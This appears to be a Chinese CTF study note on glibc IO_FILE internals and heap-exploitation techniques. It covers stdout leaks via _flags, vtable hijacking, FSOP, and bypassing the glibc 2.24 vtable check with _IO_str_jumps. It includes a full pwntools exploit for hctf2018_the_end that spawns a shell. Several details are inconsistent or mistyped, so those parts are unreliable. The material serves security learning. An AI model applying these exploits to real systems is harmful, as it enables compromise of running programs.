IO_FILE
2022-03-15 18:18:46

IO_FILE:

重要结构:

_IO_FILE:

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;  //链表的指针域

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_FILE_plus:

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;//在_IO_FILE的基础上添加vtable对象
}

_IO_jump_t:

==》vtable==》是一个虚表,存放着函数指针

===》gdb通过他的对象查看vtable实例

p/x *(struct _IO_jump_t*)_IO_list_all.vtable
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

_IO_flush_all_lockp:

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

_IO_list_all:

gdb查看:

p/x *(struct _IO_FILE_plus*)_IO_list_all
pwndbg> p /x *(struct _IO_FILE_plus*)_IO_list_all
$2 = {
  file = {
    _flags = 0xfbad2086, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2620, 
    _fileno = 0x2, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = {0x0}, 
    _lock = 0x7ffff7dd3770, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd1660, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = {0x0 <repeats 20 times>}
  }, 
  vtable = 0x7ffff7dd06e0
}

基础知识:

FILE在Linux系统的标准IO库使用来描述文件结构==》文件流

FILE结构在程序执行fopen函数时会自动创建,并分配到堆中==》常定义一个指向FILE结构的指针来接收这个返回值

FILE结构源码:

FILE==》glibc/libio/libio.h(pwndbg/glibc-2.23/libio/libio.h)==》

==》

进程的FILE结构会通过_chain域彼此连接形成一个链表==》

链表头部使用全局变量_IO_LIST_ALL表示,通过这个值可以遍历所有FILE结构==》

在标准I/O库中,每个程序启动时有三个文件流时自动打开得==》stdin,stdout,stderr

==》在初始状态下,_IO_list_all指向一个有这些文件流构成得链表==》这三个文件流位于libc.so的数据段

(使用fopen创建的文件流是分配在堆内存上的)

_IO_FILE_plus结构:

_IO_FILE结构外包裹着另一种结构_IO_FILE_plus,其中包含指针vtable(虚表)指向了一系列函数指针==》

vtable虚表:具有虚函数的类都有一张vtable,其中记录了本类中所有虚函数的函数指针==》

是一个函数指针数组的起始位置,通常虚表在编程中所具有的作用是为了标识父类

==》虚函数数表既有继承性又有多态性

vtable是IO_jump_t类型的指针,IO_jump_t中保存了一些函数指针,在一系列标准IO函数中会调用中会调用这个函数指针==》

如果使用_IO_FILE_plus定义一个结构体指针==》既可以使用IO_FILE中的结构体成员变量,也能使用IO_jump_t中的函数指针

在libc2.23下,32位的vtable偏移为0x94,64位偏移为0xd8==》

pwndbg/glibc-2.23/libio/libioP.h

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

_flags规则:

IO_FILE结构体中的第一个成员变量

规则:

_flag的高两位字节是由libc固定的==》0xfbad0000

高两位字节是一个标识,标志这是一个什么文件

低两位字节的位数规则决定了程序的执行状态

低两位规则:

在执行流程中国会将_flag和定义常量进行按位与运算,并根据与运算的机构进行判断如何执行

标准库函数介绍

fread:

fread是标准IO库函数,作用为从文件流中读数据

函数原型:

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;

参数介绍:

buffer:存放读取数据的缓冲区

size:指定每个记录的长度

count:指定记录的个数

stream:目标文件流

返回值:返回读取到数据缓冲区中的记录个数

源码:

fread位于/libio/iofread.c中,函数名为_IO_fread,真正实现功能为子函数_IO_sgetn:

_IO_size_t
_IO_fread (buf, size, count, fp)
     void *buf;
     _IO_size_t size;
     _IO_size_t count;
     _IO_FILE *fp;
{
  ...
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  ...
}

_IO_sgent函数中会调用_IO_XSGETN==>是_IO_FILE_plus.vtable中的函数指针,在进行调用时会先取出vtable中的指针然后再进行调用

_IO_size_t
_IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  return _IO_XSGETN (fp, data, n);
}

在默认情况下函数指针指向_IO_file_xsgetn函数:

if (fp->_IO_buf_base
        && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
      {
        if (__underflow (fp) == EOF)
      break;

        continue;
      }

fwrite:

fwrite是标准IO库函数,作用是向文件流写入数据

函数原型:

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);

buffer:指针,对fwite,是要写入数据的地址

size:要写入内容的单字节数

count:要进行写入size字节的数据项的个数

stream:目标文件指针

返回值:实际写入的数据项个数count

源码:

位于/libio/iofwrite.c中,函数名为_IO_fwrite,主要作用为调用_IO_XSPUTN来实现写入功能

==》位于_IO_FILE_plus的vtable中,调用这个函数需要首先取出vtable中的指针,再跳转进行调用

written = _IO_sputn (fp, (const char *) buf, request);

在_IO_XSPUTN对应的默认函数_IO_new_file_xsputn中会调用同样位于vtable中的_IO_OVERFLOW

/* Next flush the (full) buffer. */
     if (_IO_OVERFLOW (f, EOF) == EOF)

在_IO_new_file_overflow内部最终会调用系统接口write函数

fopen:

fopen在标准IO库中用于打开文件

函数原型:

FILE *fopen(char *filename, *type);

filename:目标文件的路径

type:打开方式的类型

返回值:返回一个文件指针

执行流程:

在fopen对应的函数__fopen_internal内部会调用malloc函数,分配FILE结构的空间==》

FILE结构是存储在堆上的:

*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

之后会为创建的FILE初始化vtable,并调用_IO_file_init进一步初始化操作

_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

在_IO_file_init函数初始化中,会调用_IO_link_in把新分配的FILE链入_IO_list_all为起始的FILE链表中

void
_IO_link_in (fp)
     struct _IO_FILE_plus *fp;
{
    if ((fp->file._flags & _IO_LINKED) == 0)
    {
      fp->file._flags |= _IO_LINKED;
      fp->file._chain = (_IO_FILE *) _IO_list_all;
      _IO_list_all = fp;
      ++_IO_list_all_stamp;
    }
}

之后_fopen_internal函数会调用_IO_file_fopen函数打开目标文件,_IO_file_fopen会根据拥护传入的打开模式进行打开操作,最后会调用到系统接口open函数

if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
    return __fopen_maybe_mmap (&new_f->fp.file);

==》fopen操作:

使用malloc分配FILE结构==》设置FILE结构的vtable==》初始化分配的FILE结构==》

将初始化的FILE结构链入FILE结构链表中==》调用系统调用打开文件

fclose:

是标准IO库中用于关闭已打开文件的函数

函数原型:

int fclose(FILE *stream)

==》关闭一个文件流,使用fclose就可以把缓冲区最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区

执行流程:

首先调用_IO_unlink_it将指定的FILE从_chain链表中脱链

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

调用_IO_file_close_it函数,_IO_file_close_it会调用系统接口close关闭文件

if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);

最后调用vtable中的_IO_FINSH==》对应_IO_file_finish函数,其中会调用free函数释放之前分配的FILE结构

例:

puts()函数执行流程(详细):

1、_IO_puts–>_IO_new_file_xsputn:

puts()函数在源码中的表现形式为_IO_puts==》libio/ioputs.c

在_IO_puts在过程中调用了一个叫做_IO_spitn函数(_IO_fwrite也会进行调用)

_IO_sputn==》宏==》调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

2、_IO_new_file_xsputn –>_IO_OVERFLOW

libio/fileops.c

函数执行过程:

首先进入函数之后判断输出缓冲区还有多少空间==》由_IO_write_end - _IO_write_base得来

==》这两个都是FILE结构体中的两个成员变量==》分别是输出结束地址和起始输出地址==》

stdout也是FILE结构==》接下来如果缓冲区有空间,则先把数据载入输出缓冲区并计算目标输出数据是否有剩余

经过图中判断,如果还有剩余说明输出缓冲区未建立或者空间已满==》需要通过_IO_OVERFLOW函数来建立或清空缓冲区

_IO_OVERFLOW函数主要实现刷新缓冲区或建立缓冲区,在vtable中为__overflow

3、_IO_new_file_overflow –》_IO_do_wrote

libio/fileops.c

函数执行流程:

利用点:

_IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);

==》_IO_do_write为需要执行的目标函数,该函数执行后会调用write输出到输出缓冲区

==》参数:stdout结构体,_IO_write_base(输出缓冲区起始地址)和size(由_IO_write_end - _IO_write_base得来)

利用:

事先在stdout的_IO_write_base的位置部署要输出的起始地址==》去利用_IO_do_write函数==》

打印部分内存地址==》泄漏libc

利用条件:

需要绕过_IO_new_file_overflow函数的检查==》

第一个判断:判断标志位是否包含_IO_NO_WRITES,将_flags和_IO_NO_WRITES进行一个按位与的操作

_flags与_IO_NO_WRITES各自定义的常量:

#define _IO_MAGIC 0xFBAD0000 /* 魔数 */
#define _IO_NO_WRITES 8 /* 不可写 */

==》进行按位与操作之后结果为真,返回错误==》_IO_do_write将不再执行==》

将与运算为假==》

#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
_flags & _IO_NO_WRITES = 0 
_flags = 0xfbad0000

与运算为假后将不执行判断中语句==》

第二个判断:检查输出缓冲区是否为空

if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)

为空则进行分配空间,初始化指针==》会覆盖掉事先在stdout的_IO_write_base的数据==》

需要将该判断为假==》

f->_IO_write_base == NULL==》在_IO_write_base中部署数据==》0

(f->_flags & _IO_CURRENTLY_PUTTING) == 0 ==》f->_flags & _IO_CURRENTLY_PUTTING=1

==》

#define _IO_MAGIC 0xFBAD0000
#define _IO_CURRENTLY_PUTTING 0x800
f->_flags & _IO_CURRENTLY_PUTTING = 1
_flags = 0xfbad0800
4、_IO_new_do_write –> new_do_write

libio/fileops.c

函数执行流程:

掉用new_do_write函数

参数:

一参:stdout结构体

二参:输出缓冲区起始地址

三参:输出长度

5、new_do_write –> _IO_SYSWRITE

libio/fileops.c

函数执行流程:

==》_IO_SYSWRITE (fp, data, to_do);函数就是IO_FILE的最终目标,执行系统调用write==》

需要先满足两个判断其中一个==》

第一个判断(推荐使用):

只需要满足fp->_flags & _IO_IS_APPENDING = 1即可绕过判断==》

if内执行流程:

将偏移设置为标准值,对后续的输出流程没有影响

#define _IO_MAGIC 0xFBAD0000
#define _IO_IS_APPENDING 0x1000
fp->_flags & _IO_IS_APPENDING = 1
_flags = 0xfbad1000

==》到达_IO_SYSWRITE系统调用

第二个判断(不去使用):

只需满足fp->_IO_read_end = fp->_IO_write_base即可绕过判断==》

在随机保护的开启,一般是通过覆盖末位字节造成偏移,即使是随机化偏移也有0x1000的对齐==》

不去使用原因:

1、_IO_read_end和_IO_write_base存放的地址是由末位字节和其他高字节共同组成的,其他高字节由于随机化的缘故无法确定

2、

调用了_IO_SYSSEEK系统调用==》lssek函数==》

将_IO_read_end的值设置为0==》fp->_IO_write_base - fp->_IO_read_end的值变得非常大==》

导致sleek函数执行不成功导致退出

sleek函数:可以更改读写一个文件时读写指针的一个系统调用

==》载入内存的数据范围可能并不大,经过sleek函数的修改过大的偏移之后超过了数据范围的边界==》

sleek函数执行不成功导致退出==》不会到达_IO_SYSWRITE系统调用

原因总结:1,2会让我们无法完全掌控_IO_read_end和_IO_write_base中的数值==》进入else if的分支后程序执行不可控

利用总结:

对_flags设定:

#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
_flags & _IO_NO_WRITES = 0
_flags & _IO_CURRENTLY_PUTTING = 1
_flags & _IO_IS_APPENDING = 1

==》

_flags = 0xFBAD1800

==》

设置_IO_write_base指向想要泄漏的地址

_IO_write_ptr指向泄漏结束的地址(不需要一定设置指向结尾,程序中自带的地址足够泄漏libc)

伪造vtable劫持程序流程:

劫持方式:

1、改写vtable中的函数指针

2、覆盖指向vtable的指针指向我们控制的内存,在其中布置函数指针

例题:

hctf2018_the_end

1、检查保护:

2、静态分析:

关闭了输出和错误流

程序提供了libc地址

3、思路分析:

程序能够写5个字节

==》利用程序调用exit()后,会遍历_IO_list_all==》调用_IO_2_1_stdout_下的vtable中的_setbuf函数

==》可以先修改两个字节在当前vtables附近伪造一个fake_vtable,然后使用3个字节修改fake_vtables中_setbuf的内容为one_gadget

===》

1、_IO_2_1_stdout和libc的偏移:==》记作off_set_3

2、查找set_buf在虚表中的偏移:

p *(const struct _IO_jump_t *) _IO_2_1_stdout_.vtable

偏移为0x58

3、执行exit()首先遍历_IO_list_all,再去调用_IO_2_1_stdout

==》_IO_2_1_stdout:0x7ffff7dd2620

4、寻找fake_vtable,使fake_vtable_addr+0x58==libcbase+0ff_set_3

#coding=UTF-8
from pwn import *

libc=ELF()
io=process()
#io=remote()

offset_setbuf_of_vtable = 0x58
offset_vtable_of_stdout = 0xd8
offset_one_gadget = 0xF02A4

sleep_addr = io.recvuntil(', good luck',drop=True).split(' ')[-1]
sleep_addr = long(sleep_addr,16)

libc_base = sleep_addr - libc.symbols['sleep']

one_gadget_addr = libc_base + offset_one_gadget

_IO_2_1_stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
stdout_vtable = _IO_2_1_stdout_addr + offset_vtable_of_stdout

fake_vtable_addr = _IO_2_1_stdout_addr + 0x48
fake_vtable_setbuf = fake_vtable_addr + 0x58

for i in range(2):
    io.send(p64(stdout_vtable + i))
    io.send(p64(fake_vtable_addr)[i])
 
for i in range(3):
    io.send(p64(fake_vtable_setbuf + i))
    io.send(p64(one_gadget_addr)[i])
    
io.sendline("exec /bin/sh 1>&0")
io.interactive()

FSOP:

进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,由_IO_list_all维护

===》核心:劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项

===》触发方法:调用_IO_flush_all_lockp(刷新_IO_list_all链表中所有项的文件流)

==》触发流程:

unsorted bin==>malloc_printerr==>__libc_message==>about==>fflush(_IO_flush_all_lockp)==>vtable

==>_IO_OVERFLOW==>get shell

==》相当于对每个FILE调用fflush(刷新缓冲区)==》

调用_IO_FILE_plus.vtable中的_IO_overflow:

int
_IO_flush_all_lockp (int do_lock)
{
  ...
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
       ...
       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }
        ...
  }
}

_IO_flush_all_lockp不需要手动调用==>

某些情况会被系统调用:

1、当libc执行about函数

2、当执行exit函数

3、当执行流从main函数返回时

利用思路:

1、需要libc基地址==>_IO_list_all是作为全局变量储存在libc中的,不泄漏libc就不能改写_IO_list_all

2、需要使用任意地址写把_IO_list_all的内容修改为指向我们可控的内存的指针

3、在可控内存中布置数据==》布置一个目标函数的vtable指针

布置依据:

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/* 当前的fp指针作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

==》fp->_mode<=0 // fp->_IO_write_ptr > fp->_IO_write_base

glibc2.24利用:

glibc2.24版本加入针对IO_FILE_plus的vtable劫持的检测措施,glibc会在调用虚函数之前首先检查vtable地址的合法性==》

首先验证vtable是否位于_IO_vtable段中==》满足条件则正常执行,否则调用_IO_vtable_check做进一步检查

/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  //vtable必须在__stop__libc_IO_vtable和__start__libc_IO_vtable之间
    
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  
   
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();//引发报错函数
  return vtable;
}

_IO_vtable_check:

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

==》如果vtable是非法的,将会引发about

==》绕过检查:

利用IO_str_jumps和IO_wstr_jumps这两个结构体可以绕过check

==》这两个vtable不在check范围内

==》

IO_str_jumps绕过:

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

==》可以利用_IO_str_finsh和_IO_str_overflow

==》

_IO_str_finsh绕过:
void _IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //call qword ptr [fp+0E8h]
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

==》

若符合条件,该函数会将((_IO_strfile *) fp)->_s._free_buffer作为函数指针来直接调用,并且把

(fp->_IO_buf_base)作为它的参数

((_IO_strfile *) fp)->_s._free_buffer实在fp+0xe8的位置上

fp->_IO_buf_base//不为空
fp->_flags & _IO_USER_BUF//为假

//构造
_flags=(binsh_libc+0x10) & ~1
_IO_buf_base=binsh_addr

_freeres_list=0x2
_freeres_buf=0x3
_mode=-1
vtable=_IO_str_finsh-0x18
fp+0xe8 -> system_addr
/////////////////////////////////////////////////////////////////////////
fp->_flags=0

vtable=_IO_str_jumps - 0x8

==》布置完后调用_IO_overflow时就会调用到_IO_str_finish

==》fp->_IO_buf_base = /bin/sh_addr // fp+0xe8 = system_addr

==》_IO_str_overflow绕过:

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)// pass
      return flush_only ? 0 : EOF;
  //条件需要为假
    
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// 为真
    {
      if (fp->_flags & _IO_USER_BUF)
     /* not allowed to enlarge */ // pass
     //需要为假
          
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;//指向/bin/sh字符串对应的地址
      if (new_size < old_blen)//pass 一般会通过
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
          //最终要劫持至该位置
          //target [fp+0xe0]==》指向system地址
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

==》

fp->_flags=0
fp->_IO_buf_base=0
fp->_IO_buf_end=(bin_sh_addr - 100) / 2
fp->_IO_buf_base = /bin/sh_addr
fp + 0xe8 = system_addr

注意点:

IO_FILE必须要libc的低32位为负时才能利用成功